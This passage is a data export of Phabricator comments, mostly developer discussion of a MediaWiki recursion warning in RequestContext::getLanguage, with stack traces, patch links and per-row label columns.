+* The most important buttons (e.g. for referencing) are pushed into a secondary position and may even be forced onto the ""More"" drop-down
+* Wikilinking is incorrectly associated with formatting
+* Formatting buttons are divided between the left-end of the toolbar and the ""More"" drop-down
+* It isn't immediately clear what ""More"" is offering
+
+
+I propose that article content buttons should be at the left end and formatting should be at the right end of the toolbar, so something like this:
+[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * Subscript * Programming language * Unordered list * Ordered list * Reduce indent * Increase indent]
+
+If ""More"" is necessary, it would probably be inserted into the formatting buttons, and the users would expect to find more of them in the drop-down, like this:
+[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * More]
+
+Of course, this is only a starting point. By the way: underscore and strikeout shouldn't be formatting options in the article space, ""Page title"" isn't necessary as a paragraph style. Thoughts?",,,1379517590,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+56193,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"I thought there was a bug for this, but I can't find it...
+
+Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.22wmf16/includes/context/RequestContext.php on line 281
+
+
+The amount of the warnings seems to have increased a lot more in wmf16/wmf17
+
+Such occurrences and stracktraces can be found in logstash with `_type: mediawiki` and `channel: recursion-guard`.
+",High,80.0,1379372820,1487640775.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+812747,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,No events logged in the recursion-guard channel since December 2016.,,,1487640775,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,190,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+619113,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 273586 merged by jenkins-bot:
+Fix 'localpage' message handling
+
+[[https://gerrit.wikimedia.org/r/273586]]",,,1456599605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+619105,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 273586 had a related patch set uploaded (by Anomie):
+Fix 'localpage' message handling
+
+[[https://gerrit.wikimedia.org/r/273586]]
+",,,1456598697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+619104,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#2068539, @Mattflaschen wrote:
+> P2680
+
+> 16 0.8985 8361744 Message->isDisabled( ) ../TitleBlacklist.list.php:98
+
+WTF are you doing there, TitleBlacklist?",,,1456598688,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+618954,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,P2680,,,1456539439,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,138,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+618953,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,Got this locally on MediaWiki-Vagrant.,,,1456539379,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,138,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+588673,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#1926036, @mmodell wrote:
+> @bd808: do you think there is any value in keeping this error message?  It seems to me like it's expected behavior at this point and not really valuable.
+
+Disabling the log message has been proposed as a patch before (<https://gerrit.wikimedia.org/r/#/c/102557/>) and @TStarling at that time wanted the message to stay until the underlying bug was fixed.",,,1452556121,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,132,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1
+588652,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,@bd808: do you think there is any value in keeping this error message?  It seems to me like it's expected behavior at this point and not really valuable.,,,1452554163,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,132,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1
+520679,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#1603723, @Southparkfan wrote:
+> Seems to not be Wikimedia-only, I experience this error too:
+
+This looks to be a variant on one of the patterns noted in T56193#554201:
+* getLanguage() → Log in from cookies → User::isUsableName() → Message → getLanguage()
+
+In this particular case, the `wfMessage()` call is going to be rendered using the `inContentLanguage()` method but before it can get that far the Parser wants to know the User's language.
+
+The statement of ""It should be a pretty simple change for Brad or Chris."" in T56193#554221 has thus far proved to be a variant on [[https://en.wikipedia.org/wiki/Fermat's_Last_Theorem|Fermat's Last Theorem]]. Many people have looked for the proof but none have yet been able to provide one.",,,1441317606,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,113,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1
+520523,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Seems to not be Wikimedia-only, I experience this error too:
+| Product | version
+| MediaWiki | 1.25.2 (9c89a16) 18:08, 3 September 2015
+| HHVM | 3.8.1 (srv)
+| MariaDB | 10.0.20-MariaDB-0+deb8u1-log
+Configuration: https://github.com/miraheze/mw-config/blob/master/LocalSettings.php
+```
+#0 /srv/mediawiki/w/includes/StubObject.php(204): RequestContext->getLanguage()
+#1 /srv/mediawiki/w/includes/StubObject.php(160): StubUserLang->_newObject()
+#2 /srv/mediawiki/w/includes/parser/ParserOptions.php(588): StubObject->_unstub()
+#3 /srv/mediawiki/w/includes/cache/MessageCache.php(148): ParserOptions->__construct()
+#4 /srv/mediawiki/w/includes/cache/MessageCache.php(988): MessageCache->getParserOptions()
+#5 /srv/mediawiki/w/includes/Message.php(1059): MessageCache->transform()
+#6 /srv/mediawiki/w/includes/Message.php(726): Message->transformText()
+#7 /srv/mediawiki/w/includes/Message.php(789): Message->toString()
+#8 /srv/mediawiki/w/includes/User.php(748): Message->text()
+#9 /srv/mediawiki/w/includes/User.php(790): User::isUsableName()
+#10 /srv/mediawiki/w/extensions/CentralAuth/includes/CentralAuthHooks.php(1082): User::isCreatableName()
+#11 /srv/mediawiki/w/extensions/CentralAuth/includes/CentralAuthHooks.php(835): CentralAuthHooks::attemptAddUser()
+#12 /srv/mediawiki/w/includes/Hooks.php(209): CentralAuthHooks::onUserLoadFromSession()
+#13 /srv/mediawiki/w/includes/User.php(1132): Hooks::run()
+#14 /srv/mediawiki/w/includes/User.php(361): User->loadFromSession()
+#15 /srv/mediawiki/w/includes/User.php(4942): User->load()
+#16 /srv/mediawiki/w/includes/User.php(2587): User->loadOptions()
+#17 /srv/mediawiki/w/includes/context/RequestContext.php(342): User->getOption()
+#18 /srv/mediawiki/w/includes/Message.php(577): RequestContext->getLanguage()
+#19 /srv/mediawiki/w/includes/context/RequestContext.php(436): Message->setContext()
+#20 /srv/mediawiki/w/includes/context/ContextSource.php(176): RequestContext->msg()
+#21 /srv/mediawiki/w/includes/OutputPage.php(974): ContextSource->msg()
+#22 /srv/mediawiki/w/includes/page/Article.php(512): OutputPage->setPageTitle()
+#23 /srv/mediawiki/w/includes/actions/ViewAction.php(44): Article->view()
+#24 /srv/mediawiki/w/includes/MediaWiki.php(395): ViewAction->show()
+#25 /srv/mediawiki/w/includes/MediaWiki.php(273): MediaWiki->performAction()
+#26 /srv/mediawiki/w/includes/MediaWiki.php(566): MediaWiki->performRequest()
+#27 /srv/mediawiki/w/includes/MediaWiki.php(414): MediaWiki->main()
+#28 /srv/mediawiki/w/index.php(41): MediaWiki->run()
+#29 {main}
+```",,,1441308367,,PHID-USER-e7a5lnjpgncgdxknmdxb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,113,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+466726,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"That is still hitting us, stracktraces can be found in logstash with _type: mediawiki and channel: recursion-guard.
+
+Is anyone working on it?",,,1433168184,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,100,,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+400813,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174057 abandoned by Umherirrender:
+Avoid calling Title::makeTitleSafe in User::idFromName
+
+Reason:
+Old branch, proper fix already in master (Ib902573996c69d1e77527cc7b2faf4e7fa5d3daf)
+
+[[https://gerrit.wikimedia.org/r/174057]]",,,1421437119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,80,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+239724,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174057 had a related patch set uploaded by Ori.livneh:
+Avoid calling Title::makeTitleSafe in User::idFromName
+
+https://gerrit.wikimedia.org/r/174057",,,1416277543,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239717,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174051 merged by jenkins-bot:
+Avoid calling Title::makeTitleSafe in User::idFromName
+
+https://gerrit.wikimedia.org/r/174051",,,1416276389,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+239711,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 174051 had a related patch set uploaded by Ori.livneh:
+Avoid calling Title::makeTitleSafe in User::idFromName
+
+https://gerrit.wikimedia.org/r/174051",,,1416275630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,72,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239703,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to Tim Starling from comment #17)
+> Looks like bug 41201 again (""UserLoadFromSession considered evil""). I
+> probably should have pushed that one a bit harder during the CA2 sprint. It
+> should be a pretty simple change for Brad or Chris.
+
+Is it?",,,1406922819,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+239699,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Looks like bug 41201 again (""UserLoadFromSession considered evil""). I probably should have pushed that one a bit harder during the CA2 sprint. It should be a pretty simple change for Brad or Chris.",,,1387492413,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+239696,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,Hiding the warning in fatal monitor with Gerrit change #102557 - the stacktrace logging is still on,,,1387401105,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+239695,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"So the problem generally appears to be that Language::getLanguage() unstubs the User object by trying to fetch the 'language' pref, and the various hooks called during that process may themselves wind up doing something that tries to call Language::getLanguage(). There are also some instances where something hooking 'UserGetLanguageObject' tries to call getLanguage().
+
+Code paths I see in a quick look through the log include:
+* getLanguage() → Log in from cookies → Trying to get the localized alias for NS_USER on wikis with variants → getLanguage()
+** This seems to be a large number of the instances: srwiki, uzwiktionary, kuwiktionary, etc.
+* getLanguage() → Autocreate account → AbuseFilter's checkNewAccount hook → dividebyzero → Trying to get localized error message → getLanguage()
+** enwiki and eswiki have this
+* getLanguage() → ULS's getLanguage hook → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
+* getLanguage() → Autocreate account → User::saveOptions → BetaFeatures's hook on UserSaveOptions → VisualEditor's onGetBetaPreferences hook or VectorBeta's prefs hook → getLanguage()
+* getLanguage() → Autocreate account → TitleBlacklist hit → Trying to get localized error message → getLanguage()
+* getLanguage() → Autocreate account → NewUserMessage::createNewUserMessage → various different code paths involving the parser and/or MessageCache → getLanguage()
+
+I think that the fallback behavior added in Gerrit change 48080 is probably the best thing to do in general.
+
+BTW, the previous bug on this topic was probably bug 44754.",,,1385052270,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+239693,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to comment #12)
+> What a scary backtrace. It seems to relate on automatic creation of local
+> accounts interacting with abuse filter. No wonder it seems to only happen in
+> production.
+> 
+> I have no idea how to fix this. Perhaps automatic local account creation
+> should
+> happen somewhere else?
+
+cc Anomie",,,1385043099,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+239692,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Given the backtrace, this does not seem to be an i18n issue, except for that the class (Stub)Language is involved at one level. Reclassifying and updating CCs accordingly. Niklas and I will stay on CC.",,,1385041071,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+239688,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"What a scary backtrace. It seems to relate on automatic creation of local accounts interacting with abuse filter. No wonder it seems to only happen in production.
+
+I have no idea how to fix this. Perhaps automatic local account creation should happen somewhere else?",,,1385038063,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+239686,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"(In reply to comment #6)
+> Would it be possible to provide more information about which wiki(s) display
+> this behavior, or possibly even page(s)? Being able t reproduce this would
+> probably go a long way towards resolving it.
+
+I added a trace; additional ones are available in fluorine:/a/mw-log/recursion-guard-stack-trace.log. If you want me to grab additional ones, let me know.
+
+(In reply to comment #7)
+> Side note: the logs this information is extracted from, could we make those
+> more widely available so they could get more eyeballs? From my experience
+> doing this at translatewiki.net it often helps in identifying issues a lot
+> earlier.
+
+Yeah, fair point. We (platform & ops) are working on setting up a better platform for log analysis, probably using logstash. The current situation sucks.",,,1385032746,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+239684,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Created attachment 13858
+stack trace from fluorine:/a/mw-log/recursion-guard-stack-trace.log
+
+**Attached**: {F11344}",,,1385032556,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+239681,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 96709 merged by Ori.livneh:
+Enable recursion-guard log bucket to investigate bug 54193
+
+https://gerrit.wikimedia.org/r/96709",,,1385023044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239677,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 96709 had a related patch set uploaded by Ori.livneh:
+Enable recursion-guard log bucket to investigate bug 54193
+
+https://gerrit.wikimedia.org/r/96709",,,1385022091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239671,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Side note: the logs this information is extracted from, could we make those more widely available so they could get more eyeballs? From my experience doing this at translatewiki.net it often helps in identifying issues a lot earlier.",,,1385004900,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1
+239663,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Would it be possible to provide more information about which wiki(s) display this behavior, or possibly even page(s)?
+
+Being able t reproduce this would probably go a long way towards resolving it.",,,1385004767,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+239655,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,>200 of these every hour in /a/mw-log/apache2.log,,,1384994015,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,20,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
